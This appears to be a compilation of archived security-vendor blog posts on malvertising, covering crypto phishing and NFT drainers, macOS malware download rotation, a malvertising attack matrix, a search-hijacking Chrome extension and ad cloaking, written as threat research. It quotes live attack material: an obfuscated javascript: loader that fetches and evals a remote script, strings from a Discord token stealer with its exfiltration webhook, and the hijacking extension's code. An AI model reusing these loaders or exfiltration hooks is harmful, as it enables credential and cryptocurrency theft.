Finally, seeing as this template is largely open source, we can’t in good faith suggest that all of these instances were deployed by the actor behind the Crypto Drainer marketplace that we mentioned above.

Appendix A — Malicious Domains

https://gist.github.com/eliyastein/5511d3a03d7f69d5fd7fa0a867a690bc#file-drainer-iocs-txt

Appendix B — Ethereum Addresses

https://gist.github.com/eliyastein/7b574b6c6f7aa87dd4a0282dff7b295b#file-drainer-eth-addresses-txt

Archive: This article was originally published on our Confiant Medium blog on June 15, 2022.

The post-pandemic world has seen cryptocurrencies and blockchain products in general catapult in valuation and adoption. “Web3”, “DeFi”, and “NFT” have become household terms and the sector is growing so fast that people and businesses are pouring in with dollar signs in their eyes and high hopes to get a piece of the pie. A massive land grab reminiscent of the dot com bubble is taking place with fortunes amassed in the blink of an eye and wiped out just as quickly due to extreme price volatility, regulatory frothiness, hacks, and scams.

Like sharks to chum, the malvertisers have long since arrived to play their role. In this blog post we will look at several chains that start with an ad and end with cryptocurrency theft, usually via phishing.

Hardware Wallets

When it comes to blockchain based assets like Bitcoin, Ethereum, and many others, a private key is used to sign transactions. The transactions are then broadcast onto the blockchain in order to send funds or interact with smart contracts. Managing private keys is hard, so this is typically done by wallet software. Most wallets, during the “setup” stage will generate a deterministic “seed phrase” that users can use to backup their wallet. Seed phrases are a very helpful abstraction, because they consist of human readable words as opposed to gibberish. So let’s say that you have a wallet on your laptop, but the laptop gets damaged, lost, or stolen. If you have your seed phrase secure, you can restore you wallet on a new laptop and regain control of funds that would otherwise be lost.

A hardware wallet is a physical device that is used to secure crypto assets. It adds an extra layer of security by requiring the user to physically interact with the device in order to confirm transactions. This way, funds won’t get sent and interactions won’t happen by the wallet software alone initializing a transaction. Of course, if the seed phrase for the hardware wallet were to get leaked, then the point is moot.

Enter malvertisers…

These are search ads that target Ledger related keywords. (Ledger and Trezor are the two brands leading the hardware crypto wallet space.) Ledger Live is the companion software that is used to an operate a Ledger Hardware wallet.

These ads link to cloaked phishing pages that masquerade as Ledger Live and try to get victims to enter their seed phrase:

Ledger, of course, is well aware of phishing as an existential threat to their customers and do attempt to drive the point home to their customers that the seed phrase is sacred and there is no reason to ever reveal it, but still it remains the premier technique for thieves.

Giveaway Scams

Social media also reigns as a popular channel for attacks of a similar flavor. Creative threat actors are able to orchestrate marketing funnels that lure victims in a subtle matter and escalate towards a phishing payload.

Here’s a great example that starts with a sponsored Instagram story from an account that very believably looks like it belongs to Vitalik Buterin, the founder of Ethereum. Especially interesting is that the post being promoted appears technical (“account abstraction proposal”), which is very much aligned with the type of content that Vitalik is known to share.

A would be victim might be surprised to see Vitalik has an instagram presence, and quickly click through to the profile, where they would see a hundreds of thousands of followers.

At this point, one might follow the account and forget about it until a few days later when this familiar scheme appears in a story posted by Vitalik, and the rest is history.

Recently, we have seen a scam with a similar flavor, but much darker. Fake websites that claim to be raising crypto funds to provide Ukraine with war relief:

For >90% of the crypto phishing pages that we see, the mechanics are nearly identical and low tech: Emulate the target brand, ask the victim to connect their wallet, and prompt for the seed phrase:

But somewhat surprisingly, this is often haphazardly done:

The funny thing is that this type of incompetence is splashing around all over the place when it comes to Web3 phishing. Take for example this website that we recently saw go live:

Visually, it’s a nicely done fake of the registration page for the “Gangster All Star” NFT project found here ->

https://register.gangsterallstar.com/

, but unfortunately for the folks behind the scheme, it doesn’t even work due to CORS issues with the implementation.

Despite the fact that the malicious site appears to be broken (or perhaps still under construction), we do see a clever attempt to host the malicious JavaScript on a Discord owned domain:

javascript:fetch(/*xmarksthespot.*/atob(/*Whitelist.*/’aHR0cHM6Ly9jZG4uZGlzY29yZGFwcC5jb20vYXR0YWNobWVudHMvOTM1MTA4MzQ4MzYwMTM0NjY2Lzk1MTkxMDEzMDY5NjQ3ODg4MC94Lmpz’)).then(leaving => leaving.text()).then(successfully => eval(successfully))

cdn.discordapp.com is the home of media uploads on Discord.

At this time a full analysis of x.js is beyond the scope of this post, but we were able to dump some strings during a preliminary analysis:

{
    “tCaTr”: “You must be logged in to be verified!”,
    “VLIfL”: “not discord”,
    “zjtSw”: “httVz”,
    “PYpUd”: “hilBt”,
    “RDOhl”: “hUhwI”,
    “YFxdN”: “QZveY”,
    “pGiOE”: “fLEax”,
    “WzyaG”: “bMors”,
    “nnmVT”: “HjhYS”,
    “xdZiY”: “(((.+)+)+)+$”,
    “eorVo”: “return (function() “,
    “SmSId”: “{}.constructor(\”return this\”)( )”,
    “hSOfp”: “RXkIJ”,
    “JfwQW”: “POST”,
    “fFjJA”: “application/json”,
    “uTPKN”: “lpGeS”,
    “GTCOa”: “ZAHvL”,
    “TgnuJ”: “htPPV”,
    “QVwzX”: “NLjuq”,
    “YDyKm”: “nHpUC”,
    “LZtzQ”: “bBGYi”,
    “uLHAM”: “oxqpQ”,
    “noJTY”: “AVAFo”,
    “XTkiZ”: “kSGHS”,
    “eWKtO”: “TIOyk”,
    “OMtYB”: “log”,
    “FNpyg”: “warn”,
    “BLjkX”: “info”,
    “LmRQM”: “error”,
    “fiVSQ”: “exception”,
    “tbiTg”: “table”,
    “wFORl”: “trace”,
    “WpDWO”: “ZfGRe”,
    “epmIH”: “mROhB”,
    “qrJNY”: “sXEBm”,
    “uXpno”: “https://discord.com/api/v9/users/@me“,
    “XjzYq”: “NbFEb”,
    “kZSAk”: “cakNw”,
    “SEkWt”: “YkYRW”,
    “bkSGs”: “SyUyv”,
    “eEJEC”: “User”,
    “UsUtV”: “:e_mail: Email”,
    “nppIo”: “Not Verified”,
    “YKPbw”: “:mobile_phone: Phone”,
    “rwYHh”: “Token”,
    “dLGGN”: “Login script”,
    “cWskP”: “beforeunload”,
    “oKqpj”: “https://discord.com/api/webhooks/951908349677568091/4N7ccrI6NWBsD-Gw7BIs3MTyYm037ixS1iJvzwiQESe1z_gE6Se6j5JPMmQArspuJ4dF”,
    “DckyP”: “discord.com”,
    “DcpUu”: “iframe”,
    “klTDd”: “display:none”,
    “ltDUi”: “load”
}

A closer look at that webhook link potentially reveals the true intentions behind this phishing page:

$ curl https://discord.com/api/webhooks/951908349677568091/4N7ccrI6NWBsD-Gw7BIs3MTyYm037ixS1iJvzwiQESe1z_gE6Se6j5JPMmQArspuJ4dF | jq .
{
  “type”: 1,
  “id”: “951908349677568091”,
  “name”: “Spidey Bot”,
  “avatar”: null,
  “channel_id”: “951907890422222938”,
  “guild_id”: “927995455508447242”,
  “application_id”: null,
  “token”: “4N7ccrI6NWBsD-Gw7BIs3MTyYm037ixS1iJvzwiQESe1z_gE6Se6j5JPMmQArspuJ4dF”
}

But not all Web3 scams are blunders — some combine clever technical implementation with good timing in order to rapidly wreak havoc. One of these attacks went live on 03/20/2022 and began with widespread twitter spam originating from seemingly verified accounts:

Victims are offered the promise of a very highly coveted token in exchange for 0.33 ETH:

If we look at the code under the hood, we are met with a pretty well thought out scheme, but only after some really hateful/nasty comments ironically directed towards would be plagiarists of the attackers code:

After victims connect their wallet, the site posts the address to its own backend api in order to check the victim’s balance and whether or not they own NFTs:

Once the relevant details are gathered, victims are tricked into authorizing transactions that send their valuable NFTs and/or the 0.33ETH to claim the Ape Coin directly to the attacker. Here’s the code that does it.

Stolen NFTs are then sold off on OpenSea. We can see just how lucrative this scheme has been by watching the address on Etherscan:

As the phishing attack continues, the bad actors behind the site rotate their address, so the $136k stolen so far only represents a portion of the final haul.

Of course, not all phishing attacks are ad-powered either, some are hyper-targeted.

Jorge Ledezma, a generative artist working with NFTs shared this experience with us:

This is a common scenario where scammers will approach artists who they know to be involved with crypto and ask for a commissioned work. They will then send an archive of “reference photos” which unpacks to malware.

In this case:

Exact_sizes_to_order_from_the_artist.rar

Which unpacks to a Windows executable that is very poorly disguised as a PDF:

Exact sizes to order from the artist_document.pdf.pif

Virus Total gives us a clue:

While a comprehensive analysis of this malware is outside of the scope of this post, a cursory overview provided by Taha Karim shows us that this is indeed a RAT with C2 in Seychelles.

More info @ AlienVault:

On launch, this piece of malware scans the Victim’s drive for .txt files that contain the keywords ‘key’, ‘wallet’, and ‘seed’ in the filename or body and posts those back home to the C2.

Opsec Reminder: Please don’t store your private keys in text files on your device.

Impact & Scope

Over the course of any given week, we will detect several hundred newly active Web3 phishing domains and/or campaigns in addition to those targeting specific Web3 brands that we monitor.

If we look at the prevalence of these types of campaigns by target and type, we see some of the following statistics:

• Approximately 1 in 5 Web3 phishing attacks that are promoted via malvertising are giveaway scams.

• 30% of all scams that we we have detected in the last 7 days somehow abuse or piggyback off of the Coinbase brand.

• 1/4 of all Web3 phishing campaigns are seed phrase / fake wallet campaigns.

• Of those, 20% target the Ledger brand explicitly.

• The Axie Infinity brand is one of the hotter targets with 10 new IOCs per day on average in recent weeks.

IOCs

https://gist.github.com/eliyastein/9ea550c756ba42ae06c80ef273ba10ca#file-gistfile1-txt

Archive: This article was originally published on our Confiant Medium blog on March 21, 2022.

The screenshot above and variations like it are probably familiar to anyone who has been online in the last 15+ years. Despite Flash having been on the decline for years and officially sunset as of 12/31/2020, landing pages like this are without question the most common vehicle for the spread of malware variants like Shlayer and Bundlore, both of which we have covered pretty extensively:

OSX/Shlayer new Shurprise.. unveiling OSX/Tarmac
Mac Spyware Shlayer is now dropping an entirely new malware we called OSX/Tarmac.blog.confiant.com

New macOS Bundlore Loader analysis
Looking at a recent Malvertising campaigns detected by Confiant realtime Malvertising detection engine, we stumbled…blog.confiant.com

A typical malware campaign of this sort will rely heavily on an infrastructure that aggressively rotates domains, subdomains, and S3 buckets — either in real time or on a very frequent schedule (minutes). The more sophisticated players will also bundle or re-package their application on the go in order to ensure every single download has a different hash and file size.

Let’s dig in to our case study:

The landing page in question (screenshot posted above) was located at the following url:

https://softupdate[.]betterpath2updatinglink[.]work/sew?ftri=2qEIDmFngfGBxZafssyNEZwMRnAU20BU1EkcYRg2mUE.&cid=454444878915449034&sub=3193745#

Source of the html is can be found below:

https://gist.github.com/eliyastein/e69b3288a34251bdb8a2a37677a1682

And perhaps the most relevant piece of this whole html file is right here:

<a href=”/dl.php?ftri=2qEIDmFngfGBxZafssyNEZwMRnAU20BU1EkcYRg2mUE.&cid=454444878915449034&sub=3193745&conversion_id=16300013847132&app_id=100&lp_id=3281&v=revmacpkgnew3&stub_name=2030&v_id=&lpp=No+match” onclick=”showStep();”  class=”download_link button” style=”text-decoration:none; margin-right:0; margin-top:40px; border:none; width:120px” >Download</a>

Upon manual inspection, we click the download link and observe that we are redirected to an S3 bucket for the binary. After 2 or 3 manual downloads, we see that the location of the file (S3 bucket) is rotated, the file size is off by several bytes, and the dmg produces a different hash.

Curious as to what exact length the operators will go to try and obscure what they’re doing. We extract the download link and whip up a shell script to hit it repeatedly and log the results.

The script:

Some quick notes on the script:

• We need to pass a long a valid User Agent for our request to be accepted.

• We use the -I flag which only gives us the header, making it easy to extract the redirect to S3.

After leaving the script to run for ~2 hours we have aggregated a list of 2,272 unique paths on S3 spread across the following 15 unique buckets.

7fad0694-2b87-460c-8a49-8
b429
326ed53a-4f92-45f5-aa6c-e60
14a3574e
8b67323e-357a-4838-b330-c9ba7
a10becda-e785-41fe-950d-562081aba8f
87b0
9868d5df-ee7c-4eb2-87cd-49b17c9
5f6c2a7b-7
f86c2204-8a2c-40d2-8
9317dbdc-539
977a70d5-f4e
4c2e39d9-160c-44fd
8bcb
0d391009-f9

The file sizes are mostly all unique as well:

$ ls -l | awk ‘{print $5}’ | uniq | wc -l
    2216

As well as the hashes:

$ for f in *; do shasum -a 256  $f; done | awk ‘{print $1}’ | uniq | wc -l
    2270

Detection Is Tricky

Though campaigns that leverage these tactics (and similar ones) have long been observed, the cybersecurity world still places a heavy premium on unique malware hashes and download links as IOCs, but ephemeral download links are entirely unreliable for detection.

Here’s a visualization of how any single malware campaign can quickly scale to a game of whack-a-mole against an epic number of urls.

Without a doubt, monitoring these campaigns at every layer can lead to crucial findings from a threat intelligence perspective, but reliable mitigation is better done upstream from the binary, the download link, and sometimes the landing page at a network level.

We find that real time analysis of malvertising chains is quite critical in the discovery of central points of infrastructure for these malicious campaigns that can be addressed more reliably. Usually these are pre-landers or campaign ID’s on unsavory ad networks that have malware affiliates on their networks.

IOCs — S3 Buckets

https://gist.github.com/eliyastein/e94ebef2f39e29495e0193065644924c

IOCs- DMG Hashes

https://gist.github.com/eliyastein/5b6fab50978919ad6d5c9c7ac4c4207e

Archive: This article was originally published on our Confiant Medium blog on December 6, 2021.

What is Malvertising?

A relatively new threat vector, Malvertising is a cyber-attack relying on ad networks and digital ads exposing virtually any internet user surfing the web to the risk of infection.

From my experience, if I have to compare with what we know from the cyber security world, I would define Malvertising as the following: Malvertising is a mixture of watering holes, exploit kits, web attacks and drive-by downloads all combined and run by now identifiable threat groups called Malvertisers.

Malvertisers rely heavily on the advertising ecosystem and its complexity to funnel their persistent and complex to detect cyber attacks.

The Modus Operandi (MO) and Tactics, Techniques & Procedures (TTPs) that we tracked so far on different malicious actors within ad networks helped shape a new kill chain.

Malvertising Kill Chain:

Understanding the AD tech ecosystem:

Due to the nature of this new kill-chain and the complexity of the ad tech stack, it is essential to understand how ads are displayed on a web page.

Let’s quickly explain one crucial piece from the ad tech world, called real-time bidding or RTB (or what is the process an ad go through before it is displayed)

Note: The video link above is one of the best quick explanations I found so far, and if you are new to ad tech, I highly recommend you checking it out, or continue reading below.

Before an ad is displayed on the web page, it has to go first through a complex ad stack involving DSPs, ad exchanges, and SSPs define below:

• DSP: or demand-side platforms are used by the buyers, media agencies, or advertisers who have a demand for ad inventory. DSP holds information from the buy-side about criteria they need: targeted audience, maximum bid price, location, etc.

• SSP: or Supply-Side Platforms are used by the sellers, media owners who are supplying ad inventory. They hold a record of the inventory a media owner wants to sell: the different audience segments that visit the media owner site, the minimum price the media owner wants to sell for, etc.

• Ad Exchange: is the piece of technology that auctions off the ad inventory made available by the SSPs.

The whole process is buyers will be entered in if the inventory available matches the criteria in their DSP. The one with the maximum bid price will win the auction. The auction process starts when a user opens a web page with an ad unit on it, and the ad that wins the auction appears at the same time that the rest of the page loads.

This whole process is what we call RTB, and all this complex process takes a fraction of a second to execute.

Advertisers and Publishers are using the technologies above to transact billions of impressions daily.

Like any ecosystem that generates billions of impressions, it will be subject to hacking and cyber-attacks. Threat actors infiltrated this ad ecosystem and turned it to their advantage.

As we will see in the Kill Chain below, threat actors could be present at different steps of this RTB process.

Malvertising Kill Chain:

A typical Malvertising Kill Chain is a sequence of the following phases:

• Initial Access: Initial Access is the first step where the Malvertisers enters the Advertising ecosystem. Usually Malvertisers access the ad ecosystem by creating fake agencies for the purpose of establishing relationships with ad buying platforms (DSPs) or by creating fake ad creatives.

• Execution: A tactic used by Malvertisers to execute malicious code typically via forceful redirects.

• Persistence: the step where Malvertisers persist within the ad ecosystem, ensuring their campaigns can last the longest time possible while evading detection mechanisms.

• Cloaking: A tactic where Malvertisers implement specific fingerprints and techniques that helps them define whether or not to cloak a landing page, which is the rendering/reveal of the final landing page

• Landing Page: After several redirect chains, visitors end up on a final page, the landing page. Typically a landing page is the Malvertisers final “payload” and comes in different forms and purposes ranging from Drive-by downloads, Exploit kits, or investment scams, etc.

Due to the sophistication of Malvertising cyber attacks and their deceptive nature, we have seen attackers using more tactics, not in a specific order, at different phases of this Kill Chain multiple times:

• Defense Evasion, Browser Exploitation, and Credential Access can be used before and/or after the Cloaking and/or the Execution phase.

• Attackers can have multiple Landing Pages with some/all of them using the Cloaking tactic.

The Impact is another tactic that we added to help Enterprise assess the risks of such attacks and understand whether they are of a destructive nature, causing a denial of service, hijacking resources, or causing a financial loss.

Therefore, we extended this model from five sequential phases to nine tactics to represent it within a matrix.

Malvertising Attack Matrix

The Malvertising Attack Matrix is derived from the MITRE ATT&CK Framework representation. Multiple techniques can be employed to accomplish the same tactic, depending on the attacker’s main objective. however, not all nine tactics need to be employed.

This representation has the advantage of aggregating the techniques used in previous attacks by documenting techniques, tactics and tools used. This aggregation is known as behavior profile.

Based on the behaviors we identified, the Confiant security team has identified multiple threat actors like Zirconium, eGobbler, FizzCore, ScamClub, DCCBoost, Tag Barnakle, or YoSec along with multiple UNC groups with clusters of activity tied to Malvertising.

Malvertising threat actors’ profiles can now be identified and tracked via the Malvertising Attack Matrix, see below.

How to

We built a website specifically for the Malvertising Attack Matrix that can be found at this URL:

https://matrix.confiant.com

Along with the matrix, we have different behavior profiles aka Threat actors, that we identified and added their profiles to this Matrix. By selecting a threat actor profile, the matrix will show the associated Tactics and Techniques.

For example, this how the threat profile of Zirconium looks like:

Following the same standards as the MITRE ATT&CK framework, each of the 70+ techniques of the Malvertising Attack Matrix has a page that includes a brief summary of the adversarial technique, procedure examples, and references.

Example of [C401]By-pass Popup Blocker Technique of the [C400] Browser Exploitation Tactic:

Notations and Identifiers

Each tactic and technique have an ID. This ID is used in the contextualized information present in our STIX v2.1 feeds at different places:

• We use this ID in the field name of a STIX V2.1 Attack-pattern as following: [ID Tactic| ID Technique]

• We use this ID to access the webpages referenced in the STIX V2.1 External reference field of a STIX v2.1 Attack-pattern, following this format: https://matrix[.]confiant.com/data/data[ID Tactic].html#[ID Technique]

Example

Below is our malvertising feed, representing a campaign (TI 950451017) we detected from a threat actor dubbed BRS.

We can see we have three Attack-patterns with references to the matrix for additional information, enabling threat intelligence to understand every attack and its full context:

Every Attack-Pattern STIX v2.1 object has an External Reference field, holding a link to its definition in the Malvertising Attack Matrix.

Note: To receive these Threat intelligence feeds, our TAXII server is hosted at taxii.confiant.com.

Please reach out to us to access to our malvertising feeds at the following email : security@confiant.com

Final Notes

Is Malvertising low risk?

Malvertising is interchangeably used with Adware. Many security companies historically have classified Adware as low priority, low risk.

This is mainly due to PUA/PUP software that caused little to no harm to infected computers in the past.

But the truth is things have changed now, and threat actors see Malvertising as a potential new attack vector and foothold into Enterprise networks, who do not really include Malvertising into their threat model.

Adware has evolved since, and it is now weaponized with backdoors, along with Malware, helping attackers establishing a foothold within Enterprise networks.

Our Objective

The objective of the Malvertising Attack Matrix isn’t just profiling threat actors using different techniques and tactics.

It is also a tool helping Enterprise security teams taking into account Malvertising hopefully incorporate it into their threat model. This matrix will hopefully provide enough knowledge to understand Malvertising and the risks encountered by Enterprises when targeted.

Finally, this matrix is a way to communicate actionable threat intelligence to entities that are outside of the ad tech world and we will extensively use it going forward in our reporting.

Archive: This article was originally published on our Confiant Medium blog on October 18, 2021.

stock photo via Unsplash

In this blog post we discuss an ongoing malvertising campaign that pushes search hijacking browser extensions. We take a deep dive into the code of one of these extensions, and discuss the impact and scope of the campaign.

First — A Sample

While studying the many potential payloads that victims of malvertising might be lured towards, we came upon an ongoing campaign that promotes odd Chrome Extensions with niche use cases:

Clicking the download button reveals something like this:

Let’s take a closer look at an extension from this campaign that we previously installed called “Pick Color”, which has since been removed from the Chrome Web Store.

Here’s the manifest.json

{
   “background”: {
      “scripts”: [ “lib/color.js” ]
   },
   “browser_action”: {
      “default_icon”: {
         “128”: “128.png”
      },
      “default_popup”: “data/popup/popup.html”,
      “default_title”: “Color Picker”
   },
   “description”: “find  the perfect color via an stylish color picker popup “,
   “icons”: {
      “128”: “128.png”
   },
   “key”: “MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsjXcWVH8U8+6NpH7czI7kN9fiim15NPVz3RlIBTd4MnxecVGCmVhexXMQugIfzC5rTrbprx9TlkWCmmVM14xZNC/csxJCHL5YW9mnAY2zU/jmg3rd4yDH4iDo3zlgv5j1BHblzJ73xU1CjLXFcJj8+1I2Krtf4/PNw2xfZHTECJcfZmKUyPPxqBstCA8pCEk18Ryoaxz2pTGVa3osqCFZE4hhbbLQzD8F9PnhuVdzNHKRrgeHdFF/spYYw/yj4jZ2E9MWXDfvT3imKHgZ5DQiQa1Sf2l7VAdDCHL+uv/xzNRsrNCStv95Pkw7LYeu0gwMnx8UZT8Nw8gsaPBsPr8owIDAQAB”,
   “manifest_version”: 2,
   “name”: “Pick Color”,
   “permissions”: [ “storage”, “tabs” ],
   “update_url”: “https://clients2.google.com/service/update2/crx”,
   “version”: “1.1”
}

It doesn’t look too invasive according to the permissions and Chrome’s modals:

”permissions”: [ “storage”, “tabs” ],```

The look, feel and functionality is just as seemingly benign:

All is well until we do a search, and see that the browser does a wild hop through an intermediate domain before taking us to Yahoo (not our default search engine). The Chrome Extension’s authors are affiliates of Yahoo and get a commission for every sponsored search click that they source:

The extension also has an interesting defensive tactic: It will auto-close any tab that references the extension ID in the url:

Let’s take a tour of the code, starting with a directory tree of the files in the unpacked extension directory:

cepmhjglgonbhlpgjbmlgcpdfidmlonn $ tree
.
└── 1.1_0
    ├── 128.png
    ├── _metadata
    │   ├── computed_hashes.json
    │   └── verified_contents.json
    ├── data
    │   └── popup
    │       ├── popup.css
    │       ├── popup.html
    │       ├── popup.js
    │       └── resources
    │           ├── artistic.js
    │           ├── bluish.js
    │           ├── comic.js
    │           ├── css3.js
    │           ├── drawing.js
    │           ├── favorite.js
    │           ├── game.js
    │           ├── hues.js
    │           ├── large.js
    │           ├── material.js
    │           ├── monitor.js
    │           ├── notify.js
    │           ├── popular.js
    │           ├── rainbow.js
    │           ├── random.js
    │           ├── safe.js
    │           ├── spectrum.js
    │           └── ui.js
    ├── lib
    │   └── color.js
    └── manifest.json

6 directories, 26 files

Faced with a bunch of files to dig through, we try to narrow our scope with a grep for that fxsmash domain we were able to get a glimpse of during our redirect to Yahoo search:

cepmhjglgonbhlpgjbmlgcpdfidmlonn $ grep -r fxsmash *
1.1_0/lib/color.js:  var eid = chrome.runtime.id, help = [],err = “https://fxsmash.xyz/mnc.php?q=“;
1.1_0/lib/color.js:     }, 1e3), setTimeout(function() {chrome.tabs.create({ url: “https://fxsmash.xyz/chrinstall.php“ })}, 1500))})});

Eyeballing the files confirms that the bulk of the code is here to support the actual decoy functionality of picking colors, so we turn our attention to color.js as per the output of our grep command.

Below, we have reformatted the original color.js (over 1200 lines of code) in order to eliminate anything not directly related to either search hijacking or evasion:

Let’s highlight some of the interesting tidbits. First, we see an eid variable that is assigned the Chrome Extensions’s ID. This is going to be used to execute the defensive tactic that we showed earlier. You can see exactly how it’s done on line 47.

tu.includes(eid) && !tu.includes(”errors”) && chrome.tabs.remove(e, function() {})

This all happens in one of the chrome.tabs.onUpdated event listeners which are used to monitor new tabs as they’re spawned. The chrome.tabs API provides extension developers with information about the tab url, the favicon, and the tab’s status (unloaded, loading, complete).

The chrome.tabs API can also be used to spawn new tabs or close existing tabs, which as it turns out can enable significant disruption (like search hijacking).

We can see other traces of how these things are used in the code to close tabs in select cases. For example, they don’t want to leave the fxsmash domain lingering anywhere:

if (tabs[i].url.indexOf(’xsmash’) > -1 && tabs[tabs.length - 1].url.indexOf(’xsmash’) > -1) {
    chrome.tabs.remove(tabs[i].id, function() {});
}

And there are some specific targets that they close the tabs on as well:

if (tabit.url.includes(”pid=default2017”) || tabit.url.includes(”hspart=dcola”) || tabit.url.includes(”&ptag”) || tabit.url.includes(”&conlogo”) || tabit.url.includes(”&FORM”)) {
  chrome.tabs.remove(tabit.id, function() {});
}

So how does the search hijack itself work? Again, achrome.tabs.onUpdated event listener is used in order to monitor new tabs as they spawn and the urls are matched against popular search engines:

tu.includes(”ogle”) && tu.includes(”earc”) && (t = gp(tu),
c = (i = Object.values(t))[0],
tu.includes(”gs_ssp”) && (c = i[1]),
tu.includes(”gs_ssp”) && tu.includes(”gs_lcp”) && (c = i[0]),
tu.includes(”&sxsrf”) && (c = i[0]),
tu.includes(”?sxsrf”) && (c = t.q)),
tu.includes(”ng.c”) && tu.includes(”i”) && tu.includes(”arch?”))
...

if (tu.includes(”oo.co”) && !tu.includes(”mages.se”) && !tu.includes(”ideo.sea”) && !tu.includes(”;_ylt=”) && tu.includes(”arch.ya”)) {
...

Given a match, the query parameter is parsed out and passed to the fxsmash endpoint, which in turn is going to route it to Yahoo search with whatever affiliate parameters filled in:

chrome.tabs.create({
  url: err + c
}, ...

Impact & Scope

Having tracked this campaign for several weeks, we observed that the typical lifespan of one of these extensions on the Chrome Web Store averages anywhere from several days to a week.

These two screenshots were taken approximately 24 hours apart:

That’s a growth rate of 1k users per, day per campaign, and these campaigns are typically run in tandem, pushed by 5 rotating landing pages that we have identified over the last month:

hxxps://mkkq.xyz/new/pr/continue/indextwo.html
hxxps://nowinstall.xyz/new/pr/continue/indextwo.html
hxxps://skiss.xyz/new/pr/continue/indextwo.html
hxxps://umxs.xyz/new/pr/continue/indextwo.html
hxxps://byyr.xyz/new/pr/continue/indextwo.html

Remember though, that these Chrome Extensions persist locally even after they are removed from the Chrome Web Store. That means that despite frequent take downs, the overall victim count easily scales to one million infected devices per year for this campaign (if not more), and if the ad serving infrastructure gets shut down, the infected devices continue to pay dividends to the fraudsters in perpetuity until manually removed from those devices.

Where Google Fails

Earlier in the blog post we posted a screenshot of the modal that Google serves up after a user clicks the “Add To Chrome” button on these extensions.

These are meant to serve as a security warning so that users can have a sense of consequence for what they’re about to install.

Let’s compare this modal to a different extension:

Print Recipes, for all intents and purposes, is another extension that hijacks search, but is a little more forthcoming about it and the website is complete with a privacy policy and uninstall instructions…

However, if we go to install the extension:

For two extensions that do effectively the same thing, why should the messaging on one be more benign than the other? Especially given that access to the chrome.tabs API enables significant disruption.

Furthermore, we assume that the multi-day lifespan of each extension is only as “short” as it is, because that’s how long it takes to amass enough user complaints to warrant a takedown, but policing this campaign should be much easier since the malicious fxsmash domain appears in plain text in all of these extensions — though more recently they’ve started concealing the domains by reversing the string:

edd=”/zyx.hsamsxf//:sptth”

Finally, while the fxsmash extensions are promoted primarily via forced redirect, push notifications, and popunders — many similar campaigns run through basic display ads as is the case with thePrint Recipes example, which has been running on Google Ads since Dec. 2019:

IOCs

Landing pages:

hxxps://mkkq.xyz/new/pr/continue/indextwo.html
hxxps://nowinstall.xyz/new/pr/continue/indextwo.html
hxxps://skiss.xyz/new/pr/continue/indextwo.html
hxxps://umxs.xyz/new/pr/continue/indextwo.html
hxxps://byyr.xyz/new/pr/continue/indextwo.html

Chrome Extension IDs:

njnmjhifihjacdmhmdapcjgjkhhpcjdd
jjdknmjjefkdkjbgcbkggccgojehfcon
cepmhjglgonbhlpgjbmlgcpdfidmlonn
fdccnjnhlpmffbbciebopbppkbdiiopo
pjgbopjlibfpbodekmddmeabkloghljp
kajoaccphgdbgjchegabddkjkineodbh
nkolgjafipcjklgpiekjmgjelpifdead

Intermediate Search-Hijack Domain:

fxsmash.com

Epilogue

On June 29th we contacted Google’s anti-malvertising team to report this campaign and offer an advanced look at this blog post.

Google has since issued an announcement clarifying some of their Chrome Web Store policies on Deceptive Installation Tactics, Spam Content, and a requirement for Web Store developers to have 2FA enabled.

Google’s Developer Program policies can be seen in full here:

https://developer.chrome.com/docs/webstore/program_policies/

Archive: This article was originally published on our Confiant Medium blog on June 30, 2021.

This blog post will examine the client-side aspect of cloaking in non auto-redirect based malvertising chains. We will analyze the anatomy of some of the campaigns and strategies that real attackers are currently using.

We define cloaking as follows:

Cloaking is when varying content is served based on a device fingerprint with the intention of concealing malicious activity.

Cloaking as it pertains to ad fraud, black hat SEO, or cybercrime in general is as old as the internet itself and plays a significant role in the majority of malvertising attacks. This includes malicious campaigns that use auto-redirects as an attack vector as well.

Lately, however, there’s an entire category of scammers that are eschewing forced redirections and relying on clickbait to lure in victims.

Here’s an example of a typical malicious creative:

But these campaigns don’t always hit the ground running from day one, because they would be quickly shut down even as a result of the most rudimentary QA checks. Rather, the scammers have adapted their workflow to start with seemingly innocuous ads that might look something like this:

The ads are typically backed by what might look like the very rough beginnings of a content site like this:

Once the campaign flips, we will see the scam page:

Also noteworthy is that when the switch takes place, it’s rarely global, but usually targeted to specific geos (and maybe even devices). This is done to reach specific audiences and fly at least somewhat under the radar. The switch can happen in a matter of hours or days.

As a malvertising strategy, this approach has its pros and cons. First of all, due to the short lifespans of these ad campaigns, an endless amount of domains with at least an equal number of content articles are required in order to scale. This means that perpetrators need to heavily utilize infrastructure automation as well as any possible resources for free domains and/or hosting to keep the costs of the operation down — and here is where we find the biggest gotcha that inspired this blog post:

Using free hosting services requires the malvertisers to relinquish any server-side control they might have if they rolled their own solution, so the initial cloaking layer needs to be client-side code.

Cloaking on the server-side can get quite sophisticated, which is great for evil doers as it gives them extremely granular targeting and control. The savviest criminals might even roll their own technology to do comprehensive fingerprinting based on nuances in how various browsers and devices conduct low level activity like TCP or TLS handshakes instead of using SaaS based cloaking services.

Let’s dissect an example:

We begin with a boring ad that doesn’t have much to say.

The landing page happens to be a blog dedicated to a single Chicken Tikka Masala Recipe…

Obviously this doesn’t exactly look completely innocent. Why create a blog for a single recipe with no ad or product to sell and why spend on a media buy to advertise it with an ad that probably no one will ever click on?

Let’s check the source and see what’s hiding.

And now we have the source of our client-side cloaking payload:

<script src=”hxxps://hollydeal.club/tast/7e40.js”></script>

We will not do a line by line analysis of this code as it’s mostly bloat due to obfuscation, but we can focus on the meat which begins all the way down on line 85:

